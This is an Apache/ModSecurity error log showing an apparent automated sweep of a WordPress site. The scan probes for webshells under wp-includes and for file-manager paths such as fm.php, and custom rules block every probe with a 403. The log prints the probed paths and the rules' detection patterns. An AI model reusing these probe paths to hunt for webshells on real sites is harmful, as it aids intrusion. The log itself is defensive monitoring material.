[Tue May 05 07:37:22.915537 2026] [proxy_fcgi:error] [pid 39178:tid 39199] [client 45.86.200.51:38151] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:25.434611 2026] [proxy_fcgi:error] [pid 39178:tid 39195] [client 45.86.200.51:38151] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:25.715470 2026] [:error] [pid 39178:tid 39182] [client 45.86.200.51:38151] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "afkttTaPrgTaiOD_15tvgQAAAMI"]
[Tue May 05 07:37:26.258365 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.51:39107] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "afkttiepFwKgA_SKOHjVIQAAARc"]
[Tue May 05 07:37:26.825633 2026] [:error] [pid 39072:tid 39130] [client 45.86.200.91:42541] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "afkttvolSHl4aAnrIovxbQAAAFc"]
[Tue May 05 07:37:27.373825 2026] [:error] [pid 39072:tid 39118] [client 45.86.200.51:59245] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "afktt_olSHl4aAnrIovxdQAAAEs"]
[Tue May 05 07:37:27.970166 2026] [proxy_fcgi:error] [pid 41055:tid 41071] [client 45.86.200.73:27189] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:28.245373 2026] [:error] [pid 41055:tid 41074] [client 45.86.200.73:27189] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "afktuCepFwKgA_SKOHjVVgAAARA"]
[Tue May 05 07:37:28.790688 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.97:55837] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "afktuDaPrgTaiOD_15twKQAAAMM"]
[Tue May 05 07:37:29.331167 2026] [proxy_fcgi:error] [pid 39071:tid 39093] [client 185.82.72.4:36911] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:29.874341 2026] [:error] [pid 39071:tid 39097] [client 185.82.72.4:36911] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afktuYvmnRMz9gRzix1qPQAAABE"]
[Tue May 05 07:37:30.503941 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.84:60425] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "afktujaPrgTaiOD_15twjwAAAMg"]
[Tue May 05 07:37:31.045381 2026] [:error] [pid 39072:tid 39110] [client 45.86.200.76:45315] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "afktu_olSHl4aAnrIovxpAAAAEM"]
[Tue May 05 07:37:31.622580 2026] [:error] [pid 39073:tid 39142] [client 45.86.200.85:31613] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "afktu_0kT1BNjk46BkczlQAAAIg"]
[Tue May 05 07:37:34.720304 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.92:63667] [client 45.86.200.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "afktvjaPrgTaiOD_15txSwAAAMM"]
[Tue May 05 07:37:35.802686 2026] [:error] [pid 41055:tid 41059] [client 45.86.200.54:33693] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "afktvyepFwKgA_SKOHjWGAAAAQE"]
[Tue May 05 07:37:36.349392 2026] [proxy_fcgi:error] [pid 39073:tid 39140] [client 45.86.200.96:24519] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:37.178416 2026] [proxy_fcgi:error] [pid 39073:tid 39144] [client 45.86.200.96:24519] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:37.450255 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.96:24519] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "afktwf0kT1BNjk46Bkc0BwAAAJU"]
[Tue May 05 07:37:38.295426 2026] [proxy_fcgi:error] [pid 39071:tid 39084] [client 45.86.200.102:63233] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:38.570287 2026] [proxy_fcgi:error] [pid 39071:tid 39083] [client 45.86.200.102:63233] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:39.690709 2026] [proxy_fcgi:error] [pid 39071:tid 39103] [client 45.86.200.102:63233] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:39.971097 2026] [:error] [pid 39071:tid 39098] [client 45.86.200.102:63233] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "afktw4vmnRMz9gRzix1q8gAAABI"]
[Tue May 05 07:37:41.553309 2026] [proxy_fcgi:error] [pid 39071:tid 39090] [client 45.86.200.51:36857] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:42.388358 2026] [:error] [pid 39071:tid 39104] [client 45.86.200.51:36857] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "afktxovmnRMz9gRzix1rEwAAABg"]
[Tue May 05 07:37:42.981137 2026] [:error] [pid 39178:tid 39185] [client 45.86.200.73:58647] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "afktxjaPrgTaiOD_15tyhQAAAMU"]
[Tue May 05 07:37:44.684152 2026] [:error] [pid 39178:tid 39185] [client 45.86.200.57:31247] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "afktyDaPrgTaiOD_15ty2AAAAMU"]
[Tue May 05 07:37:45.772559 2026] [proxy_fcgi:error] [pid 39073:tid 39157] [client 45.86.200.95:22021] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:46.051406 2026] [proxy_fcgi:error] [pid 39073:tid 39138] [client 45.86.200.95:22021] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:46.344777 2026] [proxy_fcgi:error] [pid 39073:tid 39158] [client 45.86.200.95:22021] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:46.628305 2026] [proxy_fcgi:error] [pid 39073:tid 39135] [client 45.86.200.95:22021] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:48.053623 2026] [:error] [pid 39073:tid 39136] [client 45.86.200.95:22021] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "afktzP0kT1BNjk46Bkc1KQAAAII"]
[Tue May 05 07:37:48.590002 2026] [:error] [pid 39071:tid 39085] [client 45.86.200.101:26501] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "afktzIvmnRMz9gRzix1rmAAAAAU"]
[Tue May 05 07:37:49.139406 2026] [:error] [pid 41055:tid 41058] [client 45.86.200.93:30815] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "afktzSepFwKgA_SKOHjXVQAAAQA"]
[Tue May 05 07:37:49.681876 2026] [:error] [pid 39178:tid 39203] [client 45.86.200.84:48865] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "afktzTaPrgTaiOD_15tziwAAANc"]
[Tue May 05 07:37:50.280161 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.76:59069] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "afktziepFwKgA_SKOHjXZgAAARc"]
[Tue May 05 07:37:50.840369 2026] [:error] [pid 41055:tid 41065] [client 45.86.200.87:60199] [client 45.86.200.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "afktziepFwKgA_SKOHjXcwAAAQc"]
[Tue May 05 07:37:51.680717 2026] [:error] [pid 39072:tid 39128] [client 45.86.200.97:26003] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "afktz_olSHl4aAnrIovzlAAAAFU"]
[Tue May 05 07:37:52.249852 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.75:20023] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "afkt0CepFwKgA_SKOHjXngAAARE"]
[Tue May 05 07:37:52.813171 2026] [:error] [pid 39072:tid 39116] [client 45.86.200.60:26077] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "afkt0PolSHl4aAnrIovztwAAAEk"]
[Tue May 05 07:37:53.365102 2026] [:error] [pid 39178:tid 39194] [client 45.86.200.54:57909] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "afkt0TaPrgTaiOD_15t0EwAAAM4"]
[Tue May 05 07:37:54.492582 2026] [:error] [pid 39072:tid 39119] [client 45.86.200.98:36605] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "afkt0volSHl4aAnrIovz_wAAAEw"]
[Tue May 05 07:37:55.301476 2026] [:error] [pid 39072:tid 39109] [client 45.86.200.92:33425] [client 45.86.200.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "afkt0_olSHl4aAnrIov0GgAAAEI"]
[Tue May 05 07:37:55.843289 2026] [proxy_fcgi:error] [pid 39071:tid 39101] [client 45.86.200.76:33641] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:56.391178 2026] [:error] [pid 39071:tid 39089] [client 45.86.200.76:33641] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "afkt1IvmnRMz9gRzix1sSAAAAAk"]
[Tue May 05 07:37:57.478734 2026] [:error] [pid 39073:tid 39152] [client 45.86.200.83:57519] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "afkt1f0kT1BNjk46Bkc2OgAAAJI"]
[Tue May 05 07:37:59.453629 2026] [proxy_fcgi:error] [pid 41055:tid 41073] [client 45.86.200.75:53313] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:00.147710 2026] [proxy_fcgi:error] [pid 41055:tid 41059] [client 45.86.200.75:53313] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:00.644387 2026] [:error] [pid 41055:tid 41064] [client 45.86.200.75:53313] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "afkt2CepFwKgA_SKOHjYdgAAAQY"]
[Tue May 05 07:38:02.787408 2026] [proxy_fcgi:error] [pid 39178:tid 39203] [client 45.86.200.73:50781] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:03.687309 2026] [proxy_fcgi:error] [pid 39178:tid 39202] [client 45.86.200.73:50781] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:04.996416 2026] [proxy_fcgi:error] [pid 39178:tid 39200] [client 45.86.200.73:50781] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:05.745902 2026] [:error] [pid 39178:tid 39184] [client 45.86.200.73:50781] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "afkt3TaPrgTaiOD_15t1aAAAAMQ"]
[Tue May 05 07:38:07.308380 2026] [proxy_fcgi:error] [pid 39073:tid 39158] [client 45.86.200.82:28579] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:08.190969 2026] [:error] [pid 39073:tid 39146] [client 45.86.200.82:28579] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "afkt4P0kT1BNjk46Bkc28QAAAIw"]
[Tue May 05 07:38:10.224309 2026] [proxy_fcgi:error] [pid 39072:tid 39120] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:10.509299 2026] [proxy_fcgi:error] [pid 39072:tid 39122] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:10.779280 2026] [proxy_fcgi:error] [pid 39072:tid 39121] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:11.346841 2026] [proxy_fcgi:error] [pid 39072:tid 39108] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:12.172579 2026] [proxy_fcgi:error] [pid 39072:tid 39124] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:12.480482 2026] [proxy_fcgi:error] [pid 39072:tid 39121] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:12.752858 2026] [proxy_fcgi:error] [pid 39072:tid 39112] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:13.031185 2026] [proxy_fcgi:error] [pid 39072:tid 39109] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:13.869067 2026] [proxy_fcgi:error] [pid 39072:tid 39108] [client 45.86.200.73:49339] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:14.138754 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.73:49339] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "afkt5volSHl4aAnrIov1gwAAAEo"]
[Tue May 05 07:38:14.683045 2026] [:error] [pid 39073:tid 39152] [client 45.86.200.105:27351] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "afkt5v0kT1BNjk46Bkc3qAAAAJI"]
[Tue May 05 07:38:15.232670 2026] [proxy_fcgi:error] [pid 41055:tid 41073] [client 45.86.200.93:62301] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:15.565920 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.93:62301] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "afkt5yepFwKgA_SKOHjZ4QAAAQ4"]
[Tue May 05 07:38:16.449309 2026] [proxy_fcgi:error] [pid 41055:tid 41062] [client 45.86.200.82:53709] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:16.764450 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.82:53709] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "afkt6CepFwKgA_SKOHjaGAAAAQ4"]
[Tue May 05 07:38:17.312066 2026] [:error] [pid 39178:tid 39186] [client 45.86.200.91:39539] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "afkt6TaPrgTaiOD_15t2_QAAAMY"]
[Tue May 05 07:38:18.952571 2026] [:error] [pid 41055:tid 41078] [client 45.86.200.105:56067] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afkt6iepFwKgA_SKOHjaeAAAARQ"]
[Tue May 05 07:38:19.499751 2026] [:error] [pid 39072:tid 39107] [client 45.86.200.105:28197] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "afkt6_olSHl4aAnrIov1_wAAAEA"]
[Tue May 05 07:38:20.893738 2026] [proxy_fcgi:error] [pid 41055:tid 41081] [client 45.86.200.100:65037] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:21.435944 2026] [:error] [pid 41055:tid 41073] [client 45.86.200.100:65037] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "afkt7SepFwKgA_SKOHja_AAAAQ8"]
[Tue May 05 07:38:22.271320 2026] [proxy_fcgi:error] [pid 39073:tid 39142] [client 45.86.200.91:34161] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:38:22.809865 2026] [:error] [pid 39073:tid 39157] [client 45.86.200.91:34161] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "afkt7v0kT1BNjk46Bkc4lwAAAJc"]
